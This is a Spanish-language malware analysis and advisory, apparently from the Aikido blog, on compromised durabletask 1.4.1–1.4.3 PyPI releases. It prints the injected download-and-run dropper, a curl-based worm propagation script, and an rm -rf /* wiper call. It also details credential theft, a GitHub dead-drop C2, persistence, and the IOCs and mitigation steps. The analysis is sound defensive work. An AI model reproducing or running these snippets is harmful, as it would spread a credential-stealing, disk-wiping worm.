Aikido

El paquete «durabletask» de Microsoft en PyPi ha sido comprometido. ¡Mini Shai Hulud ataca de nuevo... otra vez!

Escrito por
Raphael Silva

Hemos identificado tres versiones maliciosas de tarea duradera en PyPI, 1.4.1, 1.4.2, y 1.4.3, que contienen un dropper inyectado directamente en los archivos fuente de Python del paquete. Cuando un desarrollador instala cualquiera de estas versiones e importa la librería, el dropper descarga y ejecuta silenciosamente una carga útil de segunda etapa desde un dominio C2 de tres días de antigüedad.

Esa segunda etapa es un infostealer y un gusano con todas las funciones. Recopila credenciales de todos los principales proveedores de cloud, gestores de contraseñas y herramientas de desarrollo que puede encontrar, cifra los resultados con una clave RSA controlada por el atacante y los envía a C2. Si la máquina se ejecuta dentro de AWS, se propaga a otras instancias EC2 utilizando SSM. Si está dentro de Kubernetes, se propaga a través de kubectl exec. Y si detecta configuraciones de sistema israelíes o iraníes, hay una probabilidad de 1 entre 6 de que reproduzca audio y luego ejecute rm -rf /*.

Esto huele a más artimañas de TeamPCP, pero no podemos estar seguros por ahora.

Qué ocurrió

tarea duradera es un paquete de Python para Durable Task Framework, una librería de orquestación de flujos de trabajo asociada con Microsoft Azure. Es el tipo de paquete que cabría esperar encontrar en entornos Python nativos de la nube que ejecutan automatización, CI/CD o cargas de trabajo conectadas a Azure, que es exactamente el tipo de entorno al que está diseñada para atacar esta campaña.

A partir de la versión 1.4.1, el paquete __init__.py fue comprometido con un dropper que se activa en el momento de la importación:

import os
import platform
import subprocess
import urllib.request


if platform.system() == "Linux":
    try:
        urllib.request.urlretrieve(
            "https://check.git-service[.]com/rope.pyz",
            "/tmp/managed.pyz"
        )

        with open(os.devnull, "w") as f:
            subprocess.Popen(
                ["python3", "/tmp/managed.pyz"],
                stdout=f,
                stderr=f,
                stdin=f,
                start_new_session=True
            )

    except Exception:
        pass

El dropper es solo para Linux, completamente silencioso y se ejecuta en un proceso separado que sobrevive a la terminación del proceso padre. La amplia except: pass captura cualquier error. Un desarrollador que ejecute import durabletask por primera vez no vería absolutamente nada.

Las versiones cuentan una historia

Las tres versiones contienen el mismo código dropper, pero cada lanzamiento lo inyectó en más archivos. Esta es una estrategia deliberada para maximizar la posibilidad de que al menos una ruta de importación active la carga útil.

Versión Archivos infectados
1.4.1 durabletask/__init__.py
1.4.2 + durabletask/task.py
1.4.3 + durabletask/entities/__init__.py

+ durabletask/extensions/__init__.py

+ durabletask/payload/__init__.py

En la versión 1.4.3, el dropper se activa desde cinco puntos de entrada distintos. Un desarrollador que solo toca from durabletask.entities import ... sigue comprometido. El dominio C2, la URL del payload y la lógica del dropper son idénticos byte a byte en las tres versiones; el único cambio es la cobertura.

El payload: rope.pyz

El dropper obtiene rope.pyz desde hxxps://check.git-service[.]com/rope.pyz. El dominio fue registrado el 16 de mayo de 2026, tres días antes de este análisis. Se resuelve a través de NameSilo con un registro protegido por privacidad.

rope.pyz es una zipapp de Python: un archivo ZIP con un __main__.py punto de entrada que Python puede ejecutar directamente. Contiene 19 archivos distribuidos en una estructura de módulos organizada.

SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

Antes de hacer nada, __main__.py ejecuta cuatro comprobaciones:

  1. Plataforma — sale si no es Linux.
  2. Configuración regional — sale si $LANG comienza con ru. El payload no se ejecutará en sistemas con configuración regional rusa.
  3. Número de CPU — sale si os.cpu_count() <= 2. Esto desactiva la mayoría de los sandboxes automatizados.
  4. Dependencias — instala silenciosamente criptografía a través de pip si no está presente, con un --break-system-packages Fallback.

Solo después de superar los cuatro, se transfiere el control al módulo de orquestación principal.

El dead-drop de FIRESCALE

El payload primero se comunica con hxxps://check.git-service[.]com/v1/models. Si ese endpoint devuelve HTTP 200, el cuerpo de la respuesta se trata como un script Python codificado en base64 y se entrega a roulette.py para su ejecución — este es el canal de activación remota del atacante.

Si el C2 principal es inalcanzable, el payload recurre a un dead-drop basado en GitHub:

req = urllib.request.Request(
    "https://api.github.com/search/commits"
    "?q=FIRESCALE"
    "&sort=committer-date"
    "&order=desc"
    "&per_page=30",
    headers={
        "Accept": "application/vnd.github.cloak-preview+json",
        "User-Agent": "git/2.39.0",
    },
)

Busca en la API de búsqueda de commits de GitHub la cadena FIRESCALE. Cada commit coincidente se inspecciona en busca del patrón:

FIRESCALE <base64_url>.<base64_signatue>

La URL codificada en base64 solo se acepta si su firma RSA-SHA256 se verifica contra una clave pública de 4096 bits preestablecida. Eso significa que solo el atacante —el poseedor de la clave privada correspondiente— puede publicar una nueva dirección C2 válida. La API de búsqueda de GitHub se convierte en un canal de respaldo resistente a la censura y criptográficamente autenticado. Si el dominio C2 principal es incautado o sufre un sinkhole, el atacante puede reanudar las operaciones realizando un único commit público en cualquier lugar de GitHub.

Qué roba

La recopilación se ejecuta concurrentemente a través de ocho módulos mediante ThreadPoolExecutor.

Gestores de contraseñas. La carga útil apunta a 1Password, Bitwarden, pass, y gopassPor cada bóveda bloqueada, intenta desbloquearla escaneando variables de entorno en busca de patrones como *PASS*, *SECRET*, y BW_*, analizando archivos de historial de shell en busca de bw unlock y op signin invocaciones, y luego intentando la cadena literal "anon" como último recurso. Si logra acceder, lo descarga todo.

Archivos de credenciales. Se leen más de 90 rutas de archivo codificadas. La lista es exhaustiva: credenciales de AWS, credenciales predeterminadas de aplicación de GCP, tokens de acceso de Azure, ~/.kube/config, ~/.vault-token, ~/.ssh/ (cada archivo), ~/.docker/config.json, ~/.pypirc, ~/.npmrc, .env archivos en todo el directorio de inicio, archivos de estado de Terraform (que con frecuencia contienen secretos en texto plano), y configuraciones de VPN, incluidos el estado de Tailscale y WireGuard .conf archivos.

La lista también apunta específicamente a herramientas de desarrollo de IA: ~/.config/claude/claude_desktop_config.json, ~/.cursor/mcp.json, ~/.vscode/mcp.json, ~/.codeium/mcp.json, y configuraciones para Zed, Continue, Kilo y OpenCode.

Docker. La carga útil consulta el Socket de Docker en /var/run/docker.sock directamente, enumerando todos los contenedores y extrayendo sus variables de entorno. Las credenciales de cloud pasadas como variables de entorno de contenedor son un patrón común en las configuraciones de CI/CD basadas en Docker.

AWS. Las credenciales se resuelven a partir de variables de entorno, luego del servicio de metadatos de instancia EC2 (IMDS), y después de todos los perfiles con nombre en ~/.aws/credentials. Para cada conjunto de credenciales, el payload enumera AWS Secrets Manager y SSM Parameter Store en las 19 regiones de AWS, incluyendo GovCloud, de forma concurrente. Recupera cada valor secreto, con Con descifrado: Verdadero para SSM. También enumera todas las instancias EC2 gestionadas por SSM para el paso de propagación descrito a continuación.

Azure. El payload resuelve los tokens a través de credenciales de cliente, aserción JWT basada en certificado, la caché de tokens de Azure CLI en ~/.azure/accessTokens.json, o Azure IMDS (identidad administrada). Con un token válido, lista todas las suscripciones, todos los Key Vaults en cada suscripción y recupera cada secreto de cada vault.

GCP. Las credenciales se resuelven a partir de $GOOGLE_APPLICATION_CREDENTIALS, el archivo de credenciales predeterminadas de la aplicación, o GCP IMDS. El payload genera sus propios JWT de OAuth2 y recupera cada secreto de GCP Secret Manager.

Kubernetes. El acceso se resuelve a partir de ~/.kube/config en todos los contextos, a partir de tokens de cuenta de servicio en clúster, o a través de kubectl. Si kubectl no está instalado, el payload lo descarga del CDN oficial de lanzamiento de Kubernetes en /tmp/kubectl. Cada secreto en cada namespace de cada contexto se recupera y se decodifica en base64.

HashiCorp Vault. El payload resuelve el token de Vault a partir de $VAULT_TOKEN, ~/.vault-token, credenciales de AppRole, o vault print token. Luego, recorre recursivamente todos los montajes KV v1 y v2, recuperando cada ruta de secreto. La verificación SSL está deshabilitada para gestionar despliegues internos de Vault con certificados autofirmados.

Todos los datos recopilados se comprimen con gzip y se cifran con AES-256-GCM. La clave AES por sesión se envuelve con RSA-OAEP-SHA256 utilizando la clave pública del operador codificada. Solo el atacante puede descifrarla.

La exfiltración sigue un sistema de reserva de tres niveles:

  1. POST a hxxps://check.git-service[.]com/api/public/version
  2. POST a una URL de la nave nodriza resuelta a través del dead-drop FIRESCALE
  3. Si se encuentra algún token de GitHub robado en los datos recopilados, se crea un repositorio de GitHub con un nombre aleatorio público y se sube el paquete cifrado como results.json

Los nombres de los repositorios de reserva de GitHub se extraen de una lista de palabras del folclore ruso: BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, y otros. La nomenclatura no es ruido aleatorio, es una huella digital de operador estable.

Propagación del gusano

Después de recopilar los secretos, la carga útil se propaga.

AWS SSM. Con las instancias EC2 enumeradas durante la recopilación de credenciales, la carga útil envía un ssm:SendCommand (utilizando el AWS-RunShellScript documento) a un máximo de cinco instancias online que no sean Windows:

MARKER="$HOME/.cache/.sys-update-check"

[ -f "$MARKER" ] && exit 0

cd /tmp || exit 0

PAYLOAD_FILE="rope-${RANDOM}.pyz"

curl -sSL "https://check.git-service[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || curl -sSL "https://t.m-kosche[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || exit 0

nohup python3 "$PAYLOAD_FILE" > /dev/null 2>&1 &

Un archivo marcador en ~\/.cache\/.sys-update-check evita la reinfección desde el mismo host. La URL de payload secundaria hxxps://t.m-kosche[.]com/rope.pyz sirve como un fallback si el C2 principal está inactivo.

Kubernetes. Si se ejecuta dentro de un clúster de K8s, el payload kubectl execdespliega el mismo script de descarga y ejecución en hasta cinco pods en ejecución, omitiendo el actual. Un marcador separado en ~\/.cache\/.sys-update-check-k8s rastrea la propagación de K8s de forma independiente.

El limpiador de disco

Cuando el C2 principal devuelve HTTP 200 desde \/v1\/models, la respuesta activa roulette.py. Ese módulo tiene dos capacidades: instalar persistencia y limpiar discos.

Persistencia. La respuesta del C2 decodificada en base64 se escribe en \/usr\/bin\/pgmonitor.py (como root) o ~\/.local\/bin\/pgmonitor.py (sin privilegios de root) y se registra como un servicio systemd llamado pgsql-monitor.service, descrito como un "Monitor de PostgreSQL". El servicio se reinicia automáticamente en caso de fallo.

Wiper. El módulo verifica la configuración del sistema israelí o iraní inspeccionando $TZ en busca de cadenas como Jerusalén, Tel_Aviv, y Teherán; leyendo /etc/timezone y /etc/localtime contenido binario; y comprobando $LANG, $LC_ALL, y $LC_MESSAGES por he_IL o fa_IR. Con una probabilidad de uno entre seis, ejecuta:

play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
subprocess.run(["rm", "-rf", "/*"])

Descarga un archivo de audio de hxxps://check.git-service[.]com/audio.mp3, establece el volumen del sistema al 100% a través de pactl, y lo reproduce mediante mpv, luego borra el disco. El audio precede al borrado por diseño. Este no es un proceso automatizado en segundo plano; el atacante lo activa deliberadamente por víctima al devolver 200 OK del check-in del C2.

Detección y mitigación

Si ha instalado tarea duradera 1.4.1, 1.4.2, o 1.4.3, considere el host como comprometido. La carga útil se ejecutó en el momento en que se importó el paquete.

Compruebe primero el archivo marcador:

~\/.cache\/.sys-update-check

Su presencia confirma que la lógica del gusano se ejecutó en ese host. Compruebe ~\/.cache\/.sys-update-check-k8s por separado para la propagación de Kubernetes.

Busque el servicio de persistencia:

/etc/systemd/system/pgsql-monitor.service
~/.config/systemd/user/pgsql-monitor.service
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py

Bloquee y rote:

  • Todas las credenciales de cloud presentes en el host afectado (AWS, Azure, GCP)
  • Todas las claves SSH en ~/.ssh/
  • Todos los tokens de cuenta de servicio de Kubernetes
  • Cualquier token de HashiCorp Vault
  • Tokens de GitHub y PATs — y compruebe si hay nuevos repositorios públicos con nombres de folclore ruso creados a partir de esos tokens
  • npm, pip, y tokens de registro de paquetes
  • Cualquier cosa en ~/.docker/config.json
  • Todos los secretos de variables de entorno que se configuraron en la máquina
  • Contenido de cualquier .env archivos en el directorio de inicio
  • Cualquier archivo de estado de Terraform en el host

Si el host se estaba ejecutando dentro de AWS con instancias gestionadas por SSM en la misma cuenta, compruebe AWS CloudTrail para buscar SendCommand actividad de la instancia comprometida e investigue cualquier instancia con la que haya contactado. Haga lo mismo para Kubernetes: compruebe los registros de auditoría para buscar exec comandos originados desde el pod infectado.

Bloquee en la capa de red:

  • check.git-service[.]com
  • t.m-kosche[.]com

Indicadores de Compromiso

Paquetes maliciosos:

  • durabletask==1.4.1
  • durabletask==1.4.2
  • durabletask==1.4.3

Hashes:

  • durabletask-1.4.1.tar.gz SHA-256: 3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bf
  • durabletask-1.4.2.tar.gz SHA-256: 85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086f
  • durabletask-1.4.3.tar.gz SHA-256: c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dc
  • rope.pyz SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

Dominios y URLs:

  • hxxps://check.git-service[.]com/rope.pyz
  • hxxps://check.git-service[.]com/v1/models
  • hxxps://check.git-service[.]com/api/public/version
  • hxxps://check.git-service[.]com/audio.mp3
  • hxxps://t.m-kosche[.]com/rope.pyz

Registro de dominio:

  • git-service.com — registrado el 16-05-2026 (3 días antes del análisis), NameSilo, con protección de privacidad

Archivos creados en la víctima:

  • /tmp/managed.pyz — entrega inicial de payload
  • ~\/.cache\/.sys-update-check — marcador de propagación (artefacto de detección de clave)
  • ~\/.cache\/.sys-update-check-k8s — marcador de propagación de Kubernetes
  • \/usr\/bin\/pgmonitor.py o ~\/.local\/bin\/pgmonitor.py — payload de persistencia
  • /etc/systemd/system/pgsql-monitor.service o ~/.config/systemd/user/pgsql-monitor.service — servicio de persistencia
  • /tmp/kubectl — binario de kubectl descargado si no está presente en el host

Cadenas de campaña:

  • FIRESCALE — cadena de baliza de dead-drop en la búsqueda de commits de GitHub
  • pgsql-monitor.service — nombre del servicio de persistencia
  • Monitor de PostgreSQL — descripción del servicio de persistencia utilizada como tapadera
  • Nombres de repositorios del folclore ruso: BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, DOMOVOI, VODYANOY, y otros

Cómo Aikido lo detecta

Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico. Aikido realiza reescaneos nocturnos, pero recomendamos activar un reescaneo manual ahora.

Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. La cobertura de malware está incluida en el plan gratuito.

Para protección futura, Aikido Safe Chain (código abierto) intercepta los comandos de instalación de paquetes y verifica con Aikido Intel antes de que se ejecute nada.

Compartir:

https://www.aikido.dev/blog/durabletask-package-compromised-mini-shai-hulud

Escanear en busca de malware

Empieza gratis
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.